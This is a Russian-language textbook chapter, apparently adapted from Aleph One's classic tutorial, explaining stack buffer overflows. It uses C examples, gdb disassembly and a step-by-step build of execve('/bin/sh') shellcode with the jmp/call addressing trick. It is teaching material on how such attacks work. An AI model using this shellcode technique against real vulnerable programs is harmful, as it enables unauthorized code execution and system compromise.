3.3 Теория атак переполнения стека
Особенности реализации языка C допускают возможность вмешательства в работу стека программы в случае, когда размеры передаваемого в стек массива и выделенной автоматически под него в стеке памяти не соответствуют друг другу. Результат работы программ, использующих эти особенности - передача управления участку кода с произвольным адресом внутри адресного пространства процесса.
Вступление:
В настоящее время использование ошибок связанных с переполнением буфера является одной из наиболее прогрессивных технологий проникновения в защищенные системы.В данной статье проводится наиболее развернутое исследование атак срыва стека. Это частный, наиболее распространенный случай, использования ошибок переполнения буфера. Начнем с некоторых базовых понятий: буфер - участок памяти, содержащий последовательно расположенные однотипные данные. Программисты С, как правило, ассоциируют с буфером массив. Массивы, как и все переменные в С, могут быть динамическими или статическими. Статические переменные во время загрузки программы располагаются в сегменте данных, динамические - в стеке. Мы будем рассматривать переполнение только динамических буферов.
Организация процессов в памяти
Чтобы понять, что такое буферы в стеке необходимо сначала представлять себе, как происходит организация процессов в памяти. Адресное пространства процесса можно разделить на 3 сегмента: сегмент кода(Text), сегмент данных(Data) и сегмент стека(Stack).Мы будем рассматривать в основном сегмент стека, но для начала сделаем небольшой обзор остальных сегментов. Сегмент кода является неизменной частью программы и содержит непосредственно инструкции машинного кода. Этот сегмент, как правило, доступен только для чтения, и попытка записи в его адресное пространство вызывает segmentation violation.
Сегмент данных содержит проинициализированные и не проинициализированные данные. Здесь хранятся статические переменные.Размер этого сегмента может быть изменен с помощью системного вызова brk(). Если размер пользовательских данных(data-bss) или стека, определенного пользователем, по мере работы процесса превышает объем первоначально выделенной процессу памяти, то он блокируется и возобновляет свою работу в новом пространстве, для которого ОС выделяет дополнительную память. Она распределяется между сегментами данных и стека.Таб.4 Структура памяти процесса
исполнимый код нижние адреса памяти
(проинициализированные) Данные (непроинициализированные) Стек верхние адреса памяти
Что такое стек?
Стек - это абстрактный тип данных, с определенными свойствами. Последний помещенный в стек объект извлекается из него первым. Такая схема называется LIFO (last in first out - последний вошел, первый вышел). Над данными в стеке определены операции Push и Pop.Push помещает элемент данных в вершину стека. Pop, наоборот, уменьшает размер стека на единицу, удаляя последний элемент из его вершины.
Для чего применяется стек?
В современных языках высокого уровня используется принцип структурного программирования - вся программа разбивается на процедуры и/или функции. С одной точки зрения вызов функции изменяет ход выполнения программы подобно оператору goto, но отличается от него тем, что, закончив свою работу, функция возвращает управление участку кода, расположенному сразу после своего вызова.Стек позволяет сделать прозрачным для разработчика особенности реализации вызова функций.Это дает новый уровень абстракции программирования.Стек применяется для динамического размещения локальных переменных в функциях, передачи параметров в функцию и получения результатов ее работы.
Сегмент стека
Регистр SP (stack pointer - указатель стека) указывает на вершину стека, адрес которой меняется. Основание стека - фиксированный адрес памяти.Размер стека динамически контролируется ядром.Операции push и pop непосредственно реализованы в процессоре.Стек логически подразделяется на фреймы, которые состоят из параметров, передающихся в функцию, локальных переменных функции и данных, необходимых для возврата в основную функцию. В зависимости от реализации, стек может расти либо вверх, либо вниз ( используя адреса памяти в сторону уменьшения ).В наших примерах будет подразумеваться, что стек растет вниз.Этот вариант используется в процессорах Intel, Motorola, SPARC и MIPS.На что указывает SP, также зависит от реализации.Это может быть либо на последний элемент стека либо на следующий свободный адрес.Мы будем использовать первый вариант.
Итак,SP будет указывать на вершину стека (наименьшее значение из адресов памяти, используемых под стек).Часто удобно иметь указатель на какой-либо адрес внутри фрейма(FP frаme pointer).Некоторые источники называют его LB(local base ponter). Вообще, абсолютный адрес в стеке локальных переменных может быть получен с помощью смещения относительно SP. Однако по мере записи и чтения из стека эти смещения изменяются. Несмотря на то, что компилятор следит за количеством данных в стеке и соответственно корректирует эти смещения, бывают ситуации, когда это становится невозможным, и требуется дополнительное вмешательство. К тому же для некоторых процессоров (например ,Intel) , доступ к переменной с известным смещением требует нескольких операций.
Поэтому многие компиляторы используют второй регистр ,FP, для ссылки на локальные переменные и параметры, так как их смещение относительно FP не изменяется по мере использования операций push и pop.В процессорах Intel для этой цели используется регистр BP( EBP ), в Motorola - для этого можно использовать любой адресный регистр,кроме А7.Поскольку в нашем случае стек растет вниз, то смещения для доступа к параметрам будут положительными,а для локальных переменных относительно FP отрицательными. Первое, что должна сделать функция, после своего вызова - сохранить предыдущее значение FP, иначе оно не сможет быть восстановлено после того, как она отработает. Затем происходит копирование SP в FP с целью создания нового FP и уменьшается значение SP для резервирования места под локальные переменные функции.Этот алгоритм называет входом в процедуру.После завершения работы функции стек должен иметь первоначальный вид.Рассмотрим, как он выглядит на простом примере:example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ код, в который была транслирована функция function(). Чтобы разобраться в том, что программа делает при вызове function(), мы скомпилируем ее gcc c опцией -S ,которая дает на выходе ассемблерный код.
$ gcc -S -o example1.s example1.c Ассемблерный код: pushl $3 pushl $2 pushl $1 call function Здесь три аргумента сначала заносятся в стек, затем происходит вызов функции (call), который также записывает значение IP(instruction pointer)в стек.Это значение мы будем называть адресом возврата(RET).Первое, что делает вызванная функция - реализует описанный алгоритм входа:
pushl %ebp movl %esp,%ebp subl $20,%esp Здесь происходит запись EBP в стек, копирование SP в EBP (создается новый FP, который мы назовем SFP).Затем уменьшением значения SP, резервируется место под локальные переменные. Мы должны помнить, что память в стеке адресуется словами (в нашем случае слово - 32 бита), т.е. чтение и запись происходит блоками по 4 байта.Поэтому буфер из 5 байт потребует 8 байт (два слова) памяти, из 10 байт - соответственно 12 байт (три слова).Вот почему из SP вычитается 20.С учетом всего этого, стек при вызове function() выглядит следующим образом (каждый пробел обозначает байт):
нижние адреса памяти верхние адреса памяти buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] верхушка стека основание стека
Переполнение буфера.
Переполнение буфера - результат помещения в буфер объема данных большего, чем тот, на который он рассчитан. Как же эту ошибку можно использовать для исполнения произвольного кода в контексте программы? Вот пример:example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = \'A\'; function(large_string); } ------------------------------------------------------------------------------ В этой программе присутствует типичная ошибка переполнения буфера. В функции происходит копирование переданную ей строку без проверки ее размера (используется strcpy() вместо strncpy()).В результате мы получаем segmentation violation. Давайте посмотрим на стек:
нижние адреса памяти верхние адреса памяти buffer sfp ret *str <------ [ ][ ][ ][ ] верхушка стека основание стека Что здесь происходит? Почему мы получаем segmentation violation? Объясняется все просто: strcpy() копирует содержимое *str(larger_string[]) в буфер buffer[], пока не встретится null byte (\'\0\').Размер buffer[] меньше, чем *str(16 байт против 256).Это значит, что 250 байт памяти ,идущие за буфером и не имеющих никакого к нему отношения, будут перезаписаны.В их число войдут SFP, RET и даже *str. Мы заполнили large_string символами \'А\'(шестнадцатеричное значение 0х41).Это значит, что адрес возврата теперь 0x41414141.Это значение выходит за пределы адресного пространства процесса.Вот почему, когда происходит возврат из функции ,то попытка выполнить очередную инструкцию по этому адресу приводит к segmentation violation.
Таким вот образом переполнение буфера позволяет изменить адрес возврата из функции и становится возможным изменить ход выполнения программы. Давайте попытаемся изменить нашу первую программу таким образом , чтобы она перезаписывала адрес возврата.Перед buffer1[] в стеке находится SFP , перед ним RET, т.е. он находится на расстоянии 4 байт от buffer1[].Мы изменим значение RET так, чтобы в результате присваивание "х=1;" было пропущено.Для этого прибавим к RET 8 байт:example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ Все что мы сделали - прибавили 12 к адресу массива buffer1[].Полученный новый адрес - адрес возврата(RET). Нам надо пропустить присваивание, чтобы по выходу из функции выполнение программы продолжилось с printf.Разъясним, как мы узнали, что этого необходимо прибавить к значению RET именно 8 байт? Для этого скомпилируем программу и запустим gdb:
------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 < function> 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 < printf> 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Мы видим, что при вызове функции function() RET получает значение 0x8004a8.Мы хотим пропустить присваивание и передать управление сразу на адрес 0x8004b2.Разность этих значений дает 8 байт.
Шелкод
Теперь зная технологию получения нужного значения RET, какой свой код исполнить? В большинстве случаев это будет запуск shell, который позволит далее выполнять любые команды. Но что, если такого кода нет в программе, которую мы хотим заэксплойтить? Каким образом можно поместить произвольный код в ее адресное пространство? Необходимо записать его в буфер, подвергаемый переполнению и перезаписать RET таким образом, чтобы он указывал назад, на какой-то адрес в буфере.В предположении, что начало стека имеет адрес 0xFF , S - произвольный код, который мы хотим исполнить, стек выглядит так:нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| вершина основание стека стека Код запускающий shell на С будет таким:
shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ Чтобы узнать, как он выглядит на ассемблере, мы скомпилируем его и используем gdb. Обратите внимание, что gdb надо запускать с флагом -static ,иначе код, исполняющийся в результате системного вызова execve, не будет показан. На его месте будет ссылка на динамическую библиотеку С, подсоединяющуюся во время загрузки программы на выполнение.
------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Разберемся, как это работает. Начнем рассмотрение с main:
------------------------------------------------------------------------------ 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp ------------------------------------------------------------------------------ Это начало процедуры.Сначало сохраняется старое значение FP, текущее значение SP становится новым значением FP и резервируется место под локальные переменные.Теперь ими будут 2 указателя на char:
char *name[2]; Указатели имеют длину в слово , поэтому резервируется 8 байт. 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Мы копируем значение 0x80027b8 (адрес строки "/bin/sh") в первый элемент массива name[]: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) второму указателю в массиве name[] присваиваем значение 0х0 ( NULL ): name[1] = NULL; Вызов execve() происходит здесь: 0x8000144 : pushl $0x0 Мы заносим аргументы execve() в стек в обратнои порядке.Начинаем с NULL: 0x8000146 : leal 0xfffffff8(%ebp),%eax Заносим адрес name[] в регистр EAX 0x8000149 : pushl %eax Помещаем адрес name[] в стек 0x800014a : movl 0xfffffff8(%ebp),%eax Заносим адрес строки "/bin/sh" в регистр EAX 0x800014d : pushl %eax Помещаем адрес строки "/bin/sh" в стек 0x800014e : call 0x80002bc <__execve> Вызываем библиотечную функцию execve().Команда вызова call помещает в стек значение IP. ------------------------------------------------------------------------------ Теперь execve(). Напоминаю, что примеры рассчитаны на использование ОС Linux под процессоры Intel.Особенности системного вызова меняются от одной ОС к другой и от одного процессора к другому.Некоторые ОС передают аргументы через стек, другие через регистры.Одни используют для системных вызовов программные прерывания, другие - дальние переходы (far call).Linux передает аргументы системному вызову через регистры и использует программные прерывания для его вызова.
------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Начало процедуры 0x80002c0 <__execve+4>: movl $0xb,%eax Копирует 0xb( десятичное 11) в стек.Это индекс в таблице системных вызовов для execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Копирует адрес строки "/bin/sh" в регистр EBX 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Копирует адрес nmae[] в регистр ECX 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Копирует адрес нулевого указателя в регистр EDX 0x80002ce <__execve+18>: int $0x80 Производится системный вызов. ------------------------------------------------------------------------------ Таким образом, мы видим, что размер кода для вызова execve() не велик. Вот все что необходимо сделать:
a) расположить где-нибудь в адресном пространстве процесса строку "/bin/sh" ,за которой идет null b) расположить где-нибудь в адресном пространстве процесса адрес строки "/bin/sh" ,за которой идет long word null c) скопировать 0xb в регистр EAX d) скопировать адрес адреса строки "/bin/sh" в регистр EBX e) скопировать адрес строки "/bin/sh" регистр ECX f) скопировать адрес null long word в регистр EDX g) вызвать прерывание int $0x80
Но что, если вызов execve() по каким-либо причинам не сработает? В этом случае программа продолжит выбирать из стека инструкции, содержащие произвольные данные, что вызовет core dump.Мы хотим, чтобы программа завершалась корректно,даже если вызов execve() будет неудачным. Для этого надо добавить системный вызов exit после execve.Выглядит он так:exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ Системный вызов exit запишет в регистр EAX значение 0x1, поместит код возврата в EBX и вызовет прерывание "int 0x80". Большинство приложений, при нормальном завершении, на выходе возвращают 0. Мы поместим значение 0 в регистр EBX. Соответственно окончательный алгоритм:
a) расположить где-нибудь в адресном пространстве процесса строку "/bin/sh" ,за которой идет ull b) расположить где-нибуть в адресном пространстве процесса адрес строки "/bin/sh" ,за кторй идет long word null c) скопировать 0xb в регистр EAX d) скопировать адрес адреса строки "/bin/sh" в регистр EBX e) скопировать адрес строки "/bin/sh" регистр ECX f) скопировать адрес null long word в регистр EDX g) вызвать прерывание int $0x80 h) записать 0x1 в регистр EAX i) записать 0x0 в регистр EBX j) вызвать прерывание int $0x80
Переведем это в ассемблерный код, в его конец поместим строку /bin/sh , запомним, что на ее место потом встанет ее адрес и далее - null word.------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------ Проблема в том, что неизвестно, в какое место адресного пространства процесса мы должны поместить наш код. Один из способов решения - использование команд JMP и СALL, для которых допускается относительная адресация, т.е можно передать управление, используя смещение от текущего значения IP, следовательно, нет необходимости знать абсолютный адрес перехода. Если мы поместим команду CALL перед строкой "/bin/sh" и затем команду JMP на нее, то когда выполнится CALL, адрес строки будет помешен в стек на место адреса возврата. Команда CALL может просто передать управление нашему коду.Пусть, J обозначает JMP, C соответственно CALL , s - cтроку. Схема шелкода теперь будет выглядеть следующим образом:
нижние DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF верхние адреса памяти адреса 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF памяти buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) вершина стека основание стека Учитывая изменения, схематично обозначая адресацию, указывая, сколько байт занимает каждая инструкция, получаем:
------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ Вычисление смещений от jmp до call, от call до popl, от адреса строки до массива и от адреса строки до null long word дают следующее:
------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ Результат выглядит неплохо. Чтобы убедиться в его работоспособности, необходимо скомпилировать программу и исполнить
<<Назад К оглавлению Вперед>>